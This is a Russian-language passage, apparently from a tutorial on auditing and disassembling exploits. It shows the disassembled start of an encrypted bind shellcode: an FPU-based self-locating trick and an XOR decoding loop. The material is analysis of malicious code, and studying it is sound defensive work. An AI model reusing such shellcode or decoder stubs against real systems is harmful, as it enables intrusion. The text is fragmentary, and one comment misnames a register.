Аудит и дизассемблирование exploit'ов


программа, сохраняющая


Выделяем массив bind_shellcode

и копируем в нашу программу, по ходу дела переименовывая его в shellcode. Компилируем с настройками по умолчанию, запускаем. На диске образуется файл shellcode, готовый к загрузке в IDA Pro или hiew (только не забудьте переключить дизассемблер в 32-разрядный режим!).

Начало дизассемблерного листинга выглядят так:

00000000: 29C9                    sub    ecx,ecx              ; ECX := 0

00000002: 83E9B0           sub    ecx,-050      ; EBX := 50h

00000005: D9EE                    fldz                 ; загрузить +0.0 на стек FPU

00000007: D97424F4         fstenv [esp][-0C]   ; сохранить среду FPU в памяти

0000000B: 5B               pop    ebx           ; EBX := &fldz

0000000C: 81731319F50437   xor    d,[ebx][13],03704F519

0000000C                                        ; ^расшифровываем двойными словами

00000013: 83EBFC           sub    ebx,-004      ; EBX += 4:следующее двойное слово

00000016: E2F4                    loop   00000000C  (1)       ; мотаем цикл

00000018: E59F                    in     eax,09F              ; зашифрованная команда

0000001A: EF               out    dx,eax        ; зашифрованная команда



Содержание раздела